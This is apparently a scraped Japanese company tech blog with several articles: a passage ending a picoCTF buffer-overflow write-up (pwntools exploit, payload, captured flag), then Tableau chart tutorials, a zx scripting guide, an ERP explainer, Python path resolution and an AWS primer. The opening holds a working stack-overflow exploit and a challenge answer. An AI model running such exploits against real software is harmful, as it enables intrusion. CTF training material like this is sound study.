args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive()if __name__ == "__main__": main() maz-picoctf@webshell:~/bof1$ python exploit.py REMOTE[+] Opening connection to saturn.picoctf.net on port 60476: Done[*] '/home/maz-picoctf/bof1/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments[*] Loaded 10 cached gadgets for './vuln'[*] win symbol: 0x80491f6[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08'[*] Switching to interactive modePlease enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x80491f6picoCTF{addr3ss3s_ar3_3asy_2e53b270}[*] Got EOF while reading in interactive flag: picoCTF{addr3ss3s_ar3_3asy_2e53b270} 参考: https://tsalvia.hatenablog.com/entry/2019/11/10/050000#OneShot_OneKillPwnable 後編へ続く・・ ###card_post_id=934### ※サムネ画像ロゴは『picoCTF』より引用
アバター
皆さん、こんにちは! システム統括本部データ活用戦略課(現デジタルテクノロジー戦略本部)のT.Sです。 本記事は、Tableauでデータを可視化してみよう(基本編①)の続きになります。 ###card_post_id=1016### 散布図 使うタイミング:2つのメジャーの関係性を把握したい、外れ値を見つけたい時に便利です。 (例えば、売上と利益の関係を商材ごとに確認したいときなど) 必要な項目:メジャー2個以上、ディメンション1個以上 今回はサンプルスーパーストアで、利益と売上の関連を表したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 利益を行にドラック&ドロップします。 STEP3 売上を列にドラック&ドロップします。 すると、右上に○が1個表示されたと思います。 STEP4 注文テーブルの「製品名」をマークの詳細にドラック&ドロップします。 すると、製品名ごとに売上と利益を表した○が作成されました。 <さらに深く分析を進めるために、メジャーを1個追加> STEP5 注文テーブルから「割引率」を選択し、マークの色にドラック&ドロップします。 その後に、割引率を右クリックし、「メジャー(合計)」から「メジャー(平均)」に変更します。 STEP6 マークを自動から円に変更します。 STEP7 マークカードの色をクリックし、色の編集をクリックします。 STEP8 パレットを「赤-緑-金の分化」に変更し、反転にチェックをいれます。 すると、割引率が高いものは赤で表現、低いものは緑で表現されるようになりました。 <さらに深く分析を進めるために、ディメンションを1個追加> メジャーではなく、ディメンションを追加して分析することもできます。 STEP5’ 注文テーブルから「カテゴリ」を選択し、マークの色にドラック&ドロップします。 STEP6’ マークを自動から円に変更します。 STEP7' 「アナリティクス」から「傾向線」を「線形」にドラック&ドロップします。 カテゴリごとの傾向の違いがはっきりするようになります。 以上で散布図は完成です。 あまり活用の機会は少ない印象ではありますが、 「商材事の売上と利益の関係」、「売上と商材価格の関係」、「流入経路ごとのPV数と応募数の関係」など、 色んなことで応用できるグラフとなっております。 これを機会に活用してみてください。 ツリーマップ 使うタイミング:全体の中で大きい値の項目を大まかに把握しやすく表現したい時に便利です。 (例えば、商材ごとの売上を面積の大きさで、利益を色で表現するなど) 必要な項目:メジャー2個以上、ディメンション1個以上 今回はサンプルスーパーストアで、カテゴリごとの売上と利益を四角形の面積で表現したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 注文テーブルから「売上」をマークのサイズにドラック&ドロップします。 STEP3 注文テーブルから「サブカテゴリ」をマークのラベルにドラック&ドロップします。 STEP4 注文テーブルから「利益」をマークの色にドラック&ドロップします。 以上でツリーマップは完成です。 マークの部分を自動から円にするとバブルチャートが作成できます。 グラフ作成の手間もかからず、かつデータの大枠を把握する面で役立ちます。 ぜひ作成してみてください。 円グラフ 使うタイミング:全体の割合を示したい時に便利です。 (例えば、性別年代ごとの応募数の割合を示すなど) 必要な項目:メジャー1個以上、ディメンション1個以上 今回はサンプルスーパーストアで、顧客区分ごとの売上の割合を表現したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 マーク部分を「自動」から「円グラフ」に変更します。 STEP3 注文テーブルから「顧客区分」をマークの色にドラック&ドロップします。 STEP4 注文テーブルから「売上」をマークの角度にドラック&ドロップします。 STEP5 グラフが小さいのでグラフを大きくしましょう。 画面上部のツールバーの赤枠部分を「ビュー全体」に変更します。 すると、円グラフが大きく表示されます。 STEP6 色を降順に並び替えます。マークの顧客区分を右クリックし、並べ替えをクリックします。 STEP7 並び替えを「フィールド」、並び替え順序を「降順」、フィールド名を「売上」、集計を「合計」に選択し、×で閉じます。 STEP8 売上の値ではなく、割合を表示する場合、「合計(売上)」を右クリック、簡易表計算を選択し、「合計に対する割合」を選択します。 すると、100%の割合の円グラフが作成されます。 円グラフは割合を表すときに使うと便利なグラフです。 基本のグラフにもなりますので、スムーズに作成できるようにしておくと便利だと思います。 ヒストグラム 使うタイミング:ある1つのメジャーの分布やばらつきを表現したい時に便利です。 (例えば、対前月の売上金額の分布を把握したいときなど) 必要な項目:メジャー2個以上、ディメンション0個以上 今回はサンプルスーパーストアで、利益と利益の分布を表現したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 注文テーブルの「利益」を右クリックし、「作成」、「ビン」から、「ビンのサイズ」を「10000」にします。 すると、「利益(ビン)」がディメンションに生成されます。 STEP3 「利益(ビン)」を右クリックし、「連続に変換」をクリックします。 STEP4 「利益(ビン)」を列にドラック&ドロップします。 STEP5 「注文(カウント)」を行にドラック&ドロップします。 以上でヒストグラムが完成です。 利益を対前月の実績などに置き換えると、対前月値の分布が確認することができます。 0より左にグラフが偏ってますと、対前月の実績が悪いということがわかりますし、 右に偏ってますと、対前月より売れ行きが好調であるというのが瞬時に判断できます。 ぜひ、試してみてください。 箱ヒゲ図 使うタイミング:ある1つのメジャーの分布やばらつきを表現したい時に便利です。 必要な項目:メジャー2個以上、ディメンション1個以上 ヒストグラム同様、データのばらつきを表現するグラフです。 ただし、読み取り方は一般的にはあまり知られていないため、 統計学に詳しい人にのみお見せすることをお勧めします。 箱ヒゲ図については詳しくは こちら をご覧ください。 総務省統計局のなるほど統計学園 今回はサンプルスーパーストアで、カテゴリごとの利益を顧客ごとにプロットして、利益の分布を表現したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 注文テーブルの「利益」を列にドラック&ドロップします。 STEP3 マークを「自動」から「円」に変更します。 STEP4 注文テーブルの「顧客ID」をマークの詳細にドラック&ドロップします。 STEP5 アナリティクスから「箱ヒゲ図」をセルにドラック&ドロップします。 下の画像にうっすらとグレーの箱と線が自動でひかれたと思います。 STEP6 グラフが小さいのでグラフを大きくしましょう。 画面上部のツールバーの赤枠部分を「ビュー全体」に変更します。 STEP7 注文テーブルの「カテゴリ」を行にドラック&ドロップします。 以上で箱ヒゲ図完成です。 分析の仕方としては、事務用品の箱は利益が低め、顧客単位での利益のボリュームゾーンが低めに集中していることがわかります。家具、家電は利益が大きい方にある外れ値が目立ちます。つまりは利益に大きく貢献した顧客がいることを指します。 さいごに 今回のグラフは基本となるグラフの作成方法をピックアップしました。 用途に応じて、実際に触りながら活用していただけると幸いです。 今後は応用編も公開していく予定です!お楽しみに! ※参考書籍 松島七衣(2019).「Tableauによる最強・最速のデータ可視化テクニック~データ加工からダッシュボード作成まで~」.翔泳社.
アバター
はじめに 皆さん、こんにちは! システム統括本部データ活用戦略課(現デジタルテクノロジー戦略本部)のT.Sです。 私は主に、TableauやPaxataなどのセルフBIツールの運用や利用促進を担当しております。 「Tableauでどうデータを見せればいいのだろうか?」と悩んでいる方多いのではないでしょうか。 そんな方のために、Tableauでのデータビジュアライゼーション集を作成しましたので、ご活用いただけますと幸いです! 本メモの活用方法 基本自由にご活用いただいて大丈夫ですが、以下を想定して本メモを書いてます。 初めてTableau Desktopを使う方で、グラフ作成の練習をしたいとき どのような機会でどのグラフを使えばいいのかがわからないとき 前提条件 今回はTableauDesktopに備え付けられているサンプルスーパーストアを使います。 TableauDesktopを開いて、赤枠をクリックするとデータに接続できますので、 予め準備しておいてください。 棒グラフ 使うタイミング:項目同士の大小を表現したいときに使うと便利です。 (例えば、事業所ごとの売上をグラフ化したいときなど) 必要な項目:メジャー1個以上、ディメンション0個以上 【はてなポイント】メジャーとディメンションって何?  メジャーは集計対象の数字で金額や個数などが該当します。(緑色)  ディンメンションは集計の切り口のことで「●●ごとの売上」の●●がディメンションに値します。(青色) 今回はサンプルスーパーストアで、カテゴリごとの売上を表したグラフを作ります。 STEP1 新しいシートを開きます。 STEP2 注文テーブルから「売上」を選択し、行にドラック&ドロップします。 STEP3 注文テーブルからから「カテゴリ」を選択し、列にドラック&ドロップします。 STEP4 行にある「合計(売上)」を Ctrlキーを押しながら マークのラベルにドラック&ドロップします。 これでデータの値が表示されます。 以上で棒グラフ完成です。 単純な棒グラフですが、積み上げ棒グラフや100%帯グラフなど、 いろんなものに応用できますので、初めてTableau触る方は、まずは棒グラフをスムーズに作れるようになりましょう。 折れ線グラフ 使うタイミング:値の推移、時系列の変化を表現したいときに使うと便利です。 (例えば、年月ごとに売上の推移を確認したいときなど) 必要な項目:メジャー1個以上、ディメンション0個以上、日付1個以上 今回はサンプルスーパーストアで、オーダー日の売上推移を表したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 注文テーブルから「売上」を選択し、行にドラック&ドロップします。 STEP3 注文テーブルからオーダー日を列にドラック&ドロップします。 すると年単位での売上の推移グラフが完成します。 STEP4 STEP3でドラック&ドロップした「年(オーダー日)」の横にある+ボタンをクリックします。 すると四半期ごとの売上の推移を確認できます。 【はてなポイント】どうしてグラフが途中で途切れているのか?  Tableauの日付には連続と不連続という概念があります。   連続:数値や時系列などをつながった流れの値として扱います。(日付部分が緑色になります)   不連続:数値や時系列などを分断して扱います。(日付部分が青色になります)  今回の場合はオーダー日の年ごとに一度集計値がリセットされていることから、不連続のグラフであることがわかります。 STEP5 「年(四半期)」の横にある+ボタンをクリックします。 すると月ごとの売上の推移を確認できます。 STEP6 列にある「四半期(オーダー日)」を枠外にドラック&ドロップします。 すると・・・ 年と月ごとの売上推移のグラフが完成しました。 これで折れ線グラフの完成です! <連続の折れ線グラフを作るには・・・> 時系列で一連の推移を確認したい場合はSTEP3から作成手順が変わります。 STEP3’ 注文テーブルの「オーダー日」を 右クリックをしながら 列にドラック&ドロップします。 すると、下記のようにフィールドのドロップというポップアップ画面が表示されます。 STEP4' 下の方の「月(オーダー日)」を選択し、OKボタンをクリックします。 すると・・・ 先ほどとは違う、つながった折れ線グラフが作成されました。 列の部分に注目してもらえるとわかるように、不連続の折れ線グラフだと青色、連続の折れ線グラフだと緑色になっていることがわかります。 どのようにデータを見せたいかなどに応じて、連続、不連続を使い分けましょう。 積み上げ棒グラフ 使うタイミング:棒グラフとグラフの内訳を表現したいときに使うと便利です。 (例えば、事業所ごとの売上に商材ごとの内訳をプラスしたグラフを作成したいときなど) 必要な項目:メジャー1個以上、ディメンション1個以上 今回はサンプルスーパーストアで、地域の売上をカテゴリごとに表したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 注文テーブルから「売上」を選択し、列にドラック&ドロップします。 STEP3 注文テーブルから「地域」を選択し、行にドラック&ドロップします。 STEP4 列にある「合計(売上)」を Ctrlキーを押しながら 、マークのラベルにドラック&ドロップします。 これで地域ごとの売上の合計値が表示されます。 STEP5 注文テーブルから「カテゴリ」を選択し、マークの色にドラック&ドロップします。 STEP6 作成したグラフを売上の降順で並び替えします。 行の「地域」を右クリックし、「並び替え」を選択します。 STEP7 並び替えは「ネスト」、並び替え順序は「降順」、フィールド名は「売上」、集計は「合計」に設定し、「×」ボタンをクリックします。 すると、売上の大きい順に並び替えができました。 以上で積み上げ棒グラフが完成です。 積み上げ面グラフ 使うタイミング:複数の項目を積み上げて累計を表現したいときに使うと便利です。 (例えば、年月と商材ごとに売上の累計値の推移を確認したいときなど) 必要な項目:メジャー1個以上、ディメンション1個以上、日付1個以上 今回はサンプルスーパーストアで、カテゴリごとの売上をオーダー日の年月で推移が追えるようなグラフを作ります。 STEP1 連続の折れ線グラフを作成します。 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 注文テーブルから「売上」を選択し、行にドラック&ドロップします。 STEP3 注文テーブルの「オーダー日」を 右クリックをしながら 列にドラック&ドロップします。 すると、下記のようにフィールドのドロップというポップアップ画面が表示されます。 STEP4 下の方の「月(オーダー日)」を選択し、OKボタンをクリックします。 これでつながった折れ線グラフが作成されます。 STEP5 マークが現在「自動」となっている部分を、ドロップダウンリストから「エリア」に選択しなおします。 STEP6 注文テーブルから「カテゴリ」を選択し、マークの色にドラック&ドロップします。 以上で積み上げ面グラフが完成です。 基本編②に続きます。 ###card_post_id=968###
アバター
はじめに JavaScriptは闇の深い言語だのなんだの言われがちです。 ですが、そういったツッコみを入れられやすい仕様の代わりに、敷居が低く手軽に書ける言語でもあります。 そんなJavaScriptを愛する皆さんなら、こんなことを一度は思ったことがあるのではないでしょうか。 「Linux環境のシェルスクリプトとか、Windowsのバッチとか、全部JavaScriptで手軽に書けたら楽だな……」 長年バッチファイルを書いてきた人や、シェル芸を得意とする人でもない限り、これらの処理を書くのはなかなかに苦痛でしょう。JavaScriptの様な、よく見る手慣れた言語で書きたいです。 そんな夢を叶えるツール、それがGoogle(の開発者)謹製のライブラリ、 zx です。 インストール 実行環境として、以下の環境が必要です。 node.js 16.0.0以上 npmでzxをインストールします。 npm install -g zx 今回、 -g オプションでグローバルインストールを行っていますが、しなくてもよいです。 グローバルインストールしない場合は、npx経由でzxを叩いてください。 ありそうな処理を書いてみる 試しに、touchコマンドでファイルを作成し、lsコマンドを実行する処理を書いてみます。 .mjs 拡張子のファイルを作成します。 今回は、適当に touch2ls.mjs という名前で作成しました。 #!/usr/bin/env zxawait $`touch example_file`await $`ls` 書き方としては、先頭にシェルスクリプトのようにシバンとして #!/usr/bin/env zx を書き、$`command`でLinuxコマンドを記載できます。 注意点として、コマンドの返り値の型は ProcessPromise<ProcessOutput> 、Promiseが含まれていることからわかるように非同期処理です。 touch2ls.mjs を以下のコマンドで実行します。 C:\Users\hoge_user\temporary>zx touch2ls.mjs$ touch example_file$ lsexample_filetouch2ls.mjs ちなみに、上記のコマンドの実行環境はコマンドプロンプトです。 コマンドプロンプトですが、存在しない ls コマンドを問題なく実行できています。 より実践的な処理を書く 今度はより実践的な処理として、約1GBのndjsonファイルから特定の文字列を持つ行を抽出し、それが全体の何%かを求めたいと思います。 シェルスクリプトに詳しい方ならそれのみで書けるかと思いますが、詳しくない人間にとってはこれをシェルスクリプトで書くのは難しいはずです。 やり方としては cat コマンドで出力する結果をパイプして grep -c コマンドを用いて該当の行数を取得 wc -l コマンドを用いて全体の行数を取得 JavaScriptで割り算し、結果を出力 という手順を取ります。 その手順で作成したファイルがこちらです。 #!/usr/bin/env zxconst path = argv.pathconst grepList = (await $`cat ${path} | grep -c マイナビ`).stdoutconst fileWc = (await $`cat ${path} | wc -l`).stdoutconsole.log(`result: ${grepList / fileWc * 100}%`); 今回は、抽出対象の文字列を マイナビ としました。grepコマンドで使用しているので、 -E オプションを付ければ正規表現でも問題ありません。 zxではコマンドラインパーサであるminimistを、グローバルな変数 argv として明示的にインストールせず使用できるので、検索対象のファイルパスは --path オプションで取得する想定で記述します。 コマンドの出力結果は、stdoutとして標準出力を取得できるので、そちらから取得できます。 それでは、実際に実行してみましょう。 今回使用するサンプルファイル job.ndjson のファイルサイズは1742299683、およそ 1.7GB です。 C:\Users\hoge_user\temporary>zx calc.mjs --path job.ndjson$ cat job.ndjson | grep -c マイナビ21375$ cat job.ndjson | wc -l264680result: 8.075789632764092% このように、簡単に結果を求めることができました。 ちなみに、こちらの結果を同PCのWSL2上でtimeコマンド付きで10回実行したところ、平均約6.8秒程度で完了しています。通常のJavaScriptの処理と比較して、非常に簡潔なコードかつ高速です。 おわりに 今回はシェルスクリプトやバッチファイルの代替として紹介しましたが、個人的にzxはそれ以上の可能性を秘めていると感じています。 例えば、JavaScriptの大きな弱点として大規模なデータを扱うことが難しいという点がありますが、zx経由でこれらのデータを触ることで、ある程度その問題を回避できます。 また、本文中では紹介しませんでしたが、 fetch や sleep などの通常のnode.js環境にはライブラリなしには存在しない便利な機能が、zxでは標準で存在します。 咄嗟にちょっとした処理を書くのに何かと便利なzx、ぜひ試してみてください。
アバター
はじめに 基幹システム開発3課(現デジタルテクノロジー戦略本部)のA.Yです。 4月から組織名称が変更され、私はERPシステム部所属となりました。 ERPってなんだろう~、と思ったことをきっかけにERPについてと、 よく比較されている基幹システムについて調べてみることにしました! ERPとは Enterprise Resources Planning の略で、「企業資源計画」と直訳できます。 企業資源を指すヒト・モノ・カネ・情報を一元管理し、有効活用する考え方のことです。 ERPシステムを導入する目的は、企業の基幹業務である「会計」「人事」「生産」「物流」「販売」において、効率化・情報の一元管理を実現することです。 ERPのメリット・デメリットは? メリット デメリット ・ 情報の一元管理が可能になり、業務を効率化できる ・部門間の情報連携に無駄がなくなる ・経営課題が分かりやすく見える ・導入時にコストがかかる ・自社にあったシステムを選ぶ・開発するのが難しい 基幹システムとの違い 基幹システムとは、企業の主要な業務を遂行するのに使われる業務システムのことを指します。 一般的には、下記6つのシステムが基幹システムと呼ばれています。 財務会計システム 生産管理システム 販売管理システム 購買管理システム 在庫管理システム 人事管理システム これらは独立したシステムとして作られ、各部署に点在して稼働していることが多いです。 そのため、各システムとデータをやりとりする際は、システム同士の連携が必要となります。 基幹システム導入のメリットとしては、業務の効率化、ヒューマンエラーの削減等があり、 各部署や目的に応じて稼働する企業の根幹を支える重要なシステムといえます。 以上を踏まえて、ERPと基幹システムとの違いは、 ERPの「企業資源を有効活用する考え方」に基づいたシステムかどうか 企業にとって重要な基幹システムが独立しているか、統合されているかどうか となります。 おわりに 今回調べてみるまで部署名がアルファベットに変更され覚えられるかなあ、と思っていましたが、 意味を知ると部署担当のシステムの今後についてや、 部や課がどのような意味を込めてこの名前にしたのかなど、いろいろ想像が膨らみます。 4月からERPシステム部の一員として、もっともっと頑張ります!
アバター
はじめに 皆さん、こんにちは!AIシステム部のS.Tです。 開発をする上できちんと考えなければいけないパス問題。 今回はPythonのパス解決法を考えてみました。 パス解決とは? 例えば次の例文を考えます。 import hashlibimport pandas このとき、importされる各モジュールは、実際にはディスクのどこかのファイルとして保存されています。 どこのファイルから読み込まれたかは、 __file__ 属性を参照すれば確認できます。 print(hashlib.__file__)# => /home/xxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/hashlib.py# (おおもとのpythonのビルトインライブラリが読み込まれた)print(pandas.__file__)# => /home/xxxxx/projects/yyyyy/.venv/lib/pythonX.Y/site-packages/pandas/__init__.py# (pipenvによってプロジェクトルートに生成された仮想Python環境) この import <ライブラリ名> と呼び出したときに、実際にはそのライブラリをどこから読み込むかを決める作業を「 パス解決 (Path Resolution)」といいます。 パスには解決順がある Pythonは、ライブラリをインポートしたときに、あるきまった順番で、そのライブラリがないかを探しに行きます。 その順番は、sys.pathの値を見ると確認できます。 import syssys.path[ '', # カレントディレクトリ '/home/xxxxx/.pyenv/versions/X.Y.Z/lib/pythonXY.zip', '/home/xxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y', '/home/xxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/lib-dynload', '/home/xxxxx/projects/my-project/.venv/lib/pythonX.Y/site-packages'] 上記の例では、例えば import pandas と実行したときは、このリストの上から順番にpandasがあるかどうかを探しに行きます。 解決順の決まり方 このsys.pathですが、Pythonを実行する環境や、Pythonをインストールした場所によって変わります。では、どのようにしてその値が決まるかというと、Python起動時に、次の順番でsys.pathに先頭から値が追加されていきます。 ① カレントディレクトリ(Pythonを起動したときに居た場所) + ② 環境変数PYTHONPATHの値 + ③ インストール場所に依存するパス + ④ .pthによって追加されるパス ① カレントディレクトリ これはもうそのままで、無条件で先頭に追加されます。つまり、import hogehogeと実行したときに、まずはカレントディレクトリにhogehogeがないか確認しに行きます。 ② 環境変数PYTHONPATHの値 Pythonを起動する際に、環境変数PYTHONPATHにディレクトリのパスを設定しておくと、その場所を解決先の候補に加えることができます。加えられる位置は、①のカレントディレクトリの後です。 $ export PYTHONPATH=/home/xxxxxx/my-packages$ python>>> import sys>>> sys.path['', '/home/xxxxxx/my-packages', '/home/xxxx/.pyenv/versions/X.Y.Z/lib/pythonXY.zip', ....(以下略)] また、Linux系OSの場合は:(コロン)で、Windowsの場合は;(セミコロン)で区切ることで複数のパスを解決先の候補に加えることができます。 $ export PYTHONPATH=/home/xxxxxx/my-packages:/home/xxxxxx/my-tools$ python>>> import sys>>> sys.path['', '/home/xxxxxx/my-packages', '/home/xxxxxx/my-tools', '/home/xxxx/.pyenv/versions/X.Y.Z/lib/pythonXY.zip', ....(以下略)] 個人開発したツールがどこか別の場所にあって、それを使いたい場合は、このオプションを使いましょう。 ③ インストール場所に依存するパス これはPythonをOSにインストールした際に、どのパスにインストールしたかによって変わる値です。実行するPythonのバージョンや、Anacondaなどのリポジトリ、仮想環境の違いによって決まります。 具体的には、sys.prefixが、今実行しているPythonのインストールされているディレクトリで、その値をもとに、次のようなパスが追加されていきます。 <sys.prefixの値>/lib/pythonX.Y # 主要ライブラリ(`os`とか`sys`とか)<sys.prefixの値>/lib/pythonX.Y/lib-dynload # Cライブラリ<sys.prefixの値>/lib/pythonX.Y/site-packages # サードパーティライブラリ ④ .pthによって追加されるパス これはあまり使うことはないと思いますが、site-packageディレクトリの子ディレクトリにもパスを通したい場合に、site-packageディレクトリ内に拡張子が.pthのファイルを置き、そこにパスを通したい子ディレクトリを書いておくと、それも解決先の候補に加えることができるというものです。 試しに、hogeというディレクトリをsite-packagesに追加し、そこにパスを通してみます。 $ echo "hoge" > /home/xxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/site-packages/mypath.pth$ mkdir /home/xxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/site-packages/hoge$ python>>> import sys>>> sys.path['', '..(中略)..', '/home/xxxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/site-packages', '/home/xxxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/site-packages/hoge'] 上記の通り、作成したhogeディレクトリにパスが通りました。 ちなみに、.pthに追加したディレクトリが存在しない場合、sys.pathには追加されないようです。ちょっとしたやさしさを感じます。 まとめ というわけで、パス解決について今回は詳しく見てみました。 「あれ?正しくimportされない・・」と思った時に、どう対処すればよいかを考えるとき、ここで解説したことが役に立ってくれればと思います。 おまけ 当社のキャリアアドバイザーが「WEB事業会社に興味はあるけど、何から始めるべきかわからない」「転職は考えていないけど、今の環境が今後に活きるのかわからない」など、今後のために情報収集したい、という方に少しでも参考になる情報をまとめています。良ければご覧ください! ###card_post_id=2375###
アバター
はじめに 皆さん、こんにちは!ITエンジニアリング部(現デジタルテクノロジー戦略本部)のF.Kです。 本記事は、21卒の私が約1年間、AWSについて調べたり触ったりしていく中で知った、 AWSの基礎の基礎 をまとめたものです。 はじめてAWSに触れるとき、いろいろ記事を見て周ったのですが、「リージョンってなに?」「アベイラビリティゾーンってなに?」みたいな状態になり、「リージョンとは」「アベイラビリティゾーンとは」を説明しているサイトをいくつか経由して理解しました。いくつかサイトを見た理由は、「こんな感じだろう」みたいなイメージがほぼ出来なかったからです。 この記事は 「こういうサイトがあったらイメージが湧いたのにな」 という私の想いがあって作成しました。 これからAWSについて触れる方や、ITエンジニアを目指す方が読んで、AWSについての漠然としたイメージが出来る記事になっていると思います。 前提として必要な知識 基本的なIT知識があると理解しやすいと思います。 ※基本情報技術者試験に合格できるレベル、またはWEBアプリを開発したことのあるレベルであれば、問題ありません AWSとは AWS とは、Amazon Web Serviceの略で、Amazonが提供しているクラウドサービスの総称です。 Amazonでは、購買がクリスマス前に増大します。それに対応するためにサーバーを増やしましたが、その時期以外は全く使っていないため、これを有効活用しようと始めたのがAWSと言われています。 (詳しく知りたい方はこちら。AWS誕生に携わった方のtweetが翻訳されて記事になっています。) 現在のAmazonの売上高の約12%はAWSによるものです [1] 。 クラウド(サービス)とは クラウド(サービス)とは、インターネットを利用して様々なサービス(AWSにおいては、サーバ・ストレージ・データベース等)を提供するサービスのことです。クラウドに対して、サーバ等を自社に設置して運用することを オンプレミス といいます。 手元に一台のPCとインターネットに接続できる環境さえあれば、インターネットを介して、高性能なサーバや大容量のストレージ、高速なデータベースなどが利用できます。 クラウドサービスにも種類があり、一般ユーザや企業にサービスを提供するサービスを パブリッククラウド といい、企業や組織が自社内でクラウドサービスを構築し、特定のユーザだけが利用できるサービスのことを プライベートクラウド といいます(AWSは前者です)。 AWSと似たクラウドサービスに Google Cloud (GCP) と Microsoft Azure (Azure) があります。 全体のシェアとして、AWSが32%、Azureが19%、GCPが7%、その他が42%となっており [2] 、AWSが高シェアとなっている理由は、はじめてクラウドサービスを提供したため、サービスの種類が豊富でセキュリティ面も安全であり、利用ユーザが多いので、知見が得られやすいことが挙げられます。 AWSを使う理由 AWSには大きく4つのメリットがあります。 1. 固定費が変動費に 従来のオンプレミスのシステムでは、事前にデータセンターやサーバに多額の投資を行う必要がありましたが、クラウドを利用することで、リソースを 利用した時に利用した分だけ支払う 方法に変えることが出来ます。 2. キャパシティ予測が不要 オンプレミスでは、キャパシティの予測にかなりの時間をかけます。なぜなら、いつ、どれくらいのアクセスが来るかをある程度予想したうえで、ITリソースを調達する必要があるからです。 しかし、先にキャパシティを決めてしまうと、高額の無駄なリソースが発生したり、リソース不足のため十分なサービスを提供できなかったりする可能性があります。 AWSでは必要に応じてリソースの増減を行うことが出来るので、最大のインフラ容量を予測する必要がなくなります。 必要に応じてアクセスするだけでスケールアップやスケールダウンが可能 になるからです。 3. インフラの運用・保守への投資が不要に AWSを利用することで、オンプレミスで必要だった費用、例えばサーバ代、データセンター利用料、ラック利用料、電気代、ネットワーク利用料、ハードウェアベンダーへの保守費用、各種人件費が不要になります。さらに、定期的な機種変更にかかわる費用も検討する必要がありません。 もともとインフラに充てられていた費用を他の投資に回すことができ、インフラ部分には特別な注意を向ける必要がなくなります。 4. わずか数分でどこにでもデプロイ可能 例えば「これから海外のデータセンターにWebサーバを一台構築せよ」と業務命令が出されたとしましょう。 この業務を完遂するためには、航空券、パスポート、ビザ、物理サーバ、その他機器、回線事業者へのネットワーク工事依頼、データセンターへの機器の搬入、空港からデータセンターへの交通機関、データセンターへの入館申請、キッティング、ラッキング、ネットワークケーブリング、OSのセットアップ等、やらなければいけないことがたくさん挙がります。 これが AWSなら、数クリックで海外にWebサーバを構築 できます。 わずか数クリックするだけで、世界中にアプリケーションを展開できます。 AWSを使ううえで知っておくべき用語 リージョン AWSのサービスを提供するのに必要なサーバやストレージなどが保管されている データセンター があり、それらが存在するエリアのことを リージョン と呼びます。 世界の各地域にAWSのリージョンが存在し、日本にあるリージョンは以下の二つです。 ap-northeast-1(アジアパシフィック(東京)) ap-northeast-3(アジアパシフィック(大阪)) ゾーン・アベイラビリティゾーン (AZ) ゾーン・アベイラビリティゾーン(AZ) とは、各リージョンの中にある運用区間です。 リージョンとAZは以下の画像のようなイメージです [3] 。 VPC (Amazon Virtual Private Cloud) Amazon Virtual Private Cloud(以下VPC) とは、AWSのサービスの一種で、AWS内に作れる自分だけのネットワーク空間になります。 自らVPCを作成するので、自由にIPアドレス範囲を割り当てることが出来ます。 サブネット サブネット とは、VPCのさらに内側に作るネットワーク空間で、AWSのサービスを起動するための領域です。 VPCで指定したIPアドレス範囲を、分割することでサブネットが作成できます。 だれでもアクセスできる パブリックサブネット や、特定の場所からしかアクセスできない プライベートサブネット を作成できます。 Gateway Gatewayとは、ざっくりいうと、データ通信が出入りする際にどこを経由するかの、「 どこ 」に該当する部分が Gateway になります。 インターネットとVPCを接続するために利用するのは、 Internet Gateway(IGW) と呼ばれます。実際にAWSで設定する際は、後述するルートテーブルにIGWを紐づける形で利用します。 また、インターネットには繋げたいけど、インターネットから通信が入るのは困るという場合は、 NAT Gateway を利用します。 他にもAWSにはGatewayと名の付くサービスがたくさんあるので、気になる方は こちら を見てみてください。 ルートテーブル ルートテーブル とは、サブネット内にあるAWSサービスが、どこに通信することが出来るかのルールが記載されたものです。 通信のあて先を見て、どこに通信を流すかが書かれている表であり、この表をみて通信先を決定します。 AWSでは、サブネット毎にルートテーブルを作成することが出来ます。 セキュリティグループ セキュリティグループ とは、仮想ファイアウォールとして機能します。 アクセスを許可したり、制御したりすることが出来ます。 インバウンドルールとアウトバンドルールを設定する必要があり、外からアクセスしてくるものに対する制御をインバウンドルールに、逆にアクセスする先に制御をアウトバウンドルールに設定します。 AWSの主要なサービス EC2 (Elastic Compute Cloud) EC2 とは、AWS上に仮想サーバを置いて様々やWebアプリケーションを動かすことが出来るサービスになります。 必要に応じてサーバ性能を変更することができます。 また、EC2上で稼働するサーバのことを EC2インスタンス と呼びます。 S3 (Simple Strage Service) S3 とは、ストレージ機能を提供しているサービスで、ファイルのバックアップや、ファイル処理の加工前後のファイル保存、画像やCSSなどWebで使う静的なファイルを置くことを目的として利用されます。 S3は事前に保存容量を決める必要はなく、 利用した分だけの課金 となるため、ストレージの空きを気にする必要がありません。 RDS (Relational Database Service) RDS とは、列と行がいくつかのテーブルで定義されており、データ間の関係性が定義されたデータを取り扱う一般的な DBシステム です。 DBシステムのため、一般的には外部からアクセスできないようにするために、プライベートサブネットに配置します。 障害や誤作動が起きたときに、5分前の状態に戻すことが出来たり、マルチAZ配置(2つのAZを使ってAWSシステムを構築すること。一方のAZに障害が起きてももう一方のAZを利用することで、サービスが止まるのを防ぐ。)を選べば複数のAZにDBシステムが配置されるなど、RDSを用いて 可用性 の高いシステムを実現できます。 ELB (Elastic Load Balancing) ELB 